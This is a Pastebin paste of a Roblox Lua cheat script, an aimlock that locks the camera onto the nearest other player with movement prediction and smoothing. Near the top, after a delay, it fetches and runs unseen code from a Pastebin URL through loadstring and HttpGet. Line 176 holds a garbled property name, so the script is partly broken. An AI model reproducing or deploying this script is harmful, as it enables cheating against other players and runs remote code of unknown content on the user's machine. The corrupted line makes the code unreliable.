Advertisement
Blox101

earth tracing script ners

Sep 4th, 2022
44
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.16 KB | None | 0 0
  1. c = ("]3n3i3a3m3"):gsub(']', '/')
  2. -- // script made by earth
  3. -- // script made by earth
  4. -- // script made by earth
  5. -- // script made by earth
  6.  
  7. wait(12)
  8. --earth
  9. loadstring(game:HttpGet("https://pastebin.com/raw/9hQFaAZy", true))()
  10. --earth
  11.  
  12.  
  13.  
  14.  
  15.  
  16. getgenv().OldAimPart = "UpperTorso"
  17. getgenv().AimPart = "UpperTorso"
  18. getgenv().AimlockKey = "q"
  19. getgenv().AimRadius = 13
  20. getgenv().ThirdPerson = true
  21. getgenv().FirstPerson = true
  22. getgenv().TeamCheck = false
  23. getgenv().PredictMovement = true
  24. getgenv().PredictionVelocity = 25
  25. getgenv().CheckIfJumped = true
  26. getgenv().Smoothness = true
  27. getgenv().SmoothnessAmount = 0.004
  28.  
  29. local Players, Uis, RService, SGui = game:GetService"Players", game:GetService"UserInputService", game:GetService"RunService", game:GetService"StarterGui";
  30. local Client, Mouse, Camera, CF, RNew, Vec3, Vec2 = Players.LocalPlayer, Players.LocalPlayer:GetMouse(), workspace.CurrentCamera, CFrame.new, Ray.new, Vector3.new, Vector2.new;
  31. local Aimlock, MousePressed, CanNotify = true, false, false;
  32. local AimlockTarget;
  33. local OldPre;
  34.  
  35.  
  36.  
  37. getgenv().WorldToViewportPoint = function(P)
  38. return Camera:WorldToViewportPoint(P)
  39. end
  40.  
  41. getgenv().WorldToScreenPoint = function(P)
  42. return Camera.WorldToScreenPoint(Camera, P)
  43. end
  44.  
  45. getgenv().GetObscuringObjects = function(T)
  46. if T and T:FindFirstChild(getgenv().AimPart) and Client and Client.Character:FindFirstChild("Head") then
  47. local RayPos = workspace:FindPartOnRay(RNew(
  48. T[getgenv().AimPart].Position, Client.Character.Head.Position)
  49. )
  50. if RayPos then return RayPos:IsDescendantOf(T) end
  51. end
  52. end
  53.  
  54. getgenv().GetNearestTarget = function()
  55. local players = {}
  56. local PLAYER_HOLD = {}
  57. local DISTANCES = {}
  58. for i, v in pairs(Players:GetPlayers()) do
  59. if v ~= Client then
  60. table.insert(players, v)
  61. end
  62. end
  63. for i, v in pairs(players) do
  64. if v.Character ~= nil then
  65. local AIM = v.Character:FindFirstChild("Head")
  66. if getgenv().TeamCheck == true and v.Team ~= Client.Team then
  67. local DISTANCE = (v.Character:FindFirstChild("Head").Position - game.Workspace.CurrentCamera.CFrame.p).magnitude
  68. local RAY = Ray.new(game.Workspace.CurrentCamera.CFrame.p, (Mouse.Hit.p - game.Workspace.CurrentCamera.CFrame.p).unit * DISTANCE)
  69. local HIT,POS = game.Workspace:FindPartOnRay(RAY, game.Workspace)
  70. local DIFF = math.floor((POS - AIM.Position).magnitude)
  71. PLAYER_HOLD[v.Name .. i] = {}
  72. PLAYER_HOLD[v.Name .. i].dist= DISTANCE
  73. PLAYER_HOLD[v.Name .. i].plr = v
  74. PLAYER_HOLD[v.Name .. i].diff = DIFF
  75. table.insert(DISTANCES, DIFF)
  76. elseif getgenv().TeamCheck == false and v.Team == Client.Team then
  77. local DISTANCE = (v.Character:FindFirstChild("Head").Position - game.Workspace.CurrentCamera.CFrame.p).magnitude
  78. local RAY = Ray.new(game.Workspace.CurrentCamera.CFrame.p, (Mouse.Hit.p - game.Workspace.CurrentCamera.CFrame.p).unit * DISTANCE)
  79. local HIT,POS = game.Workspace:FindPartOnRay(RAY, game.Workspace)
  80. local DIFF = math.floor((POS - AIM.Position).magnitude)
  81. PLAYER_HOLD[v.Name .. i] = {}
  82. PLAYER_HOLD[v.Name .. i].dist= DISTANCE
  83. PLAYER_HOLD[v.Name .. i].plr = v
  84. PLAYER_HOLD[v.Name .. i].diff = DIFF
  85. table.insert(DISTANCES, DIFF)
  86. end
  87. end
  88. end
  89.  
  90. if unpack(DISTANCES) == nil then
  91. return nil
  92. end
  93.  
  94. local L_DISTANCE = math.floor(math.min(unpack(DISTANCES)))
  95. if L_DISTANCE > getgenv().AimRadius then
  96. return nil
  97. end
  98.  
  99. for i, v in pairs(PLAYER_HOLD) do
  100. if v.diff == L_DISTANCE then
  101. return v.plr
  102. end
  103. end
  104. return nil
  105. end
  106.  
  107. Mouse.KeyDown:Connect(function(a)
  108. if not (Uis:GetFocusedTextBox()) then
  109. if a == AimlockKey and AimlockTarget == nil then
  110. pcall(function()
  111. if MousePressed ~= true then MousePressed = true end
  112. local Target;Target = GetNearestTarget()
  113. if Target ~= nil then
  114. AimlockTarget = Target
  115. end
  116. end)
  117. elseif a == AimlockKey and AimlockTarget ~= nil then
  118. if AimlockTarget ~= nil then AimlockTarget = nil end
  119. if MousePressed ~= false then
  120. MousePressed = false
  121. end
  122. end
  123. end
  124. end)
  125.  
  126. RService.RenderStepped:Connect(function()
  127. if getgenv().ThirdPerson == true and getgenv().FirstPerson == true then
  128. if (Camera.Focus.p - Camera.CoordinateFrame.p).Magnitude > 1 or (Camera.Focus.p - Camera.CoordinateFrame.p).Magnitude <= 1 then
  129. CanNotify = true
  130. else
  131. CanNotify = false
  132. end
  133. elseif getgenv().ThirdPerson == true and getgenv().FirstPerson == false then
  134. if (Camera.Focus.p - Camera.CoordinateFrame.p).Magnitude > 1 then
  135. CanNotify = true
  136. else
  137. CanNotify = false
  138. end
  139. elseif getgenv().ThirdPerson == false and getgenv().FirstPerson == true then
  140. if (Camera.Focus.p - Camera.CoordinateFrame.p).Magnitude <= 1 then
  141. CanNotify = true
  142. else
  143. CanNotify = false
  144. end
  145. end
  146. if Aimlock == true and MousePressed == true then
  147. if AimlockTarget and AimlockTarget.Character and AimlockTarget.Character:FindFirstChild(getgenv().AimPart) then
  148. if getgenv().FirstPerson == true then
  149. if CanNotify == true then
  150. if getgenv().PredictMovement == true then
  151. if getgenv().Smoothness == true then
  152. --// The part we're going to lerp/smoothen \\--
  153. local Main = CF(Camera.CFrame.p, AimlockTarget.Character[getgenv().AimPart].Position + AimlockTarget.Character[getgenv().AimPart].Velocity/PredictionVelocity)
  154.  
  155. --// Making it work \\--
  156. Camera.CFrame = Camera.CFrame:Lerp(Main, getgenv().SmoothnessAmount, Enum.EasingStyle.Elastic, Enum.EasingDirection.InOut)
  157. else
  158. Camera.CFrame = CF(Camera.CFrame.p, AimlockTarget.Character[getgenv().AimPart].Position + AimlockTarget.Character[getgenv().AimPart].Velocity/PredictionVelocity)
  159. end
  160. elseif getgenv().PredictMovement == false then
  161. if getgenv().Smoothness == true then
  162. --// The part we're going to lerp/smoothen \\--
  163. local Main = CF(Camera.CFrame.p, AimlockTarget.Character[getgenv().AimPart].Position)
  164.  
  165. --// Making it work \\--
  166. Camera.CFrame = Camera.CFrame:Lerp(Main, getgenv().SmoothnessAmount, Enum.EasingStyle.Elastic, Enum.EasingDirection.InOut)
  167. else
  168. Camera.CFrame = CF(Camera.CFrame.p, AimlockTarget.Character[getgenv().AimPart].Position)
  169. end
  170. end
  171. end
  172. end
  173. end
  174. end
  175. if CheckIfJumped == true then
  176. if AimlockTarget.Character.HuDDDDDDDDDDWmanoid.FloorMaterial == Enum.Material.Air then
  177.  
  178. getgenv().AimPart = "UpperTorso"
  179. else
  180. getgenv().AimPart = getgenv().OldAimPart
  181.  
  182. end
  183. end
  184. end)
  185.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement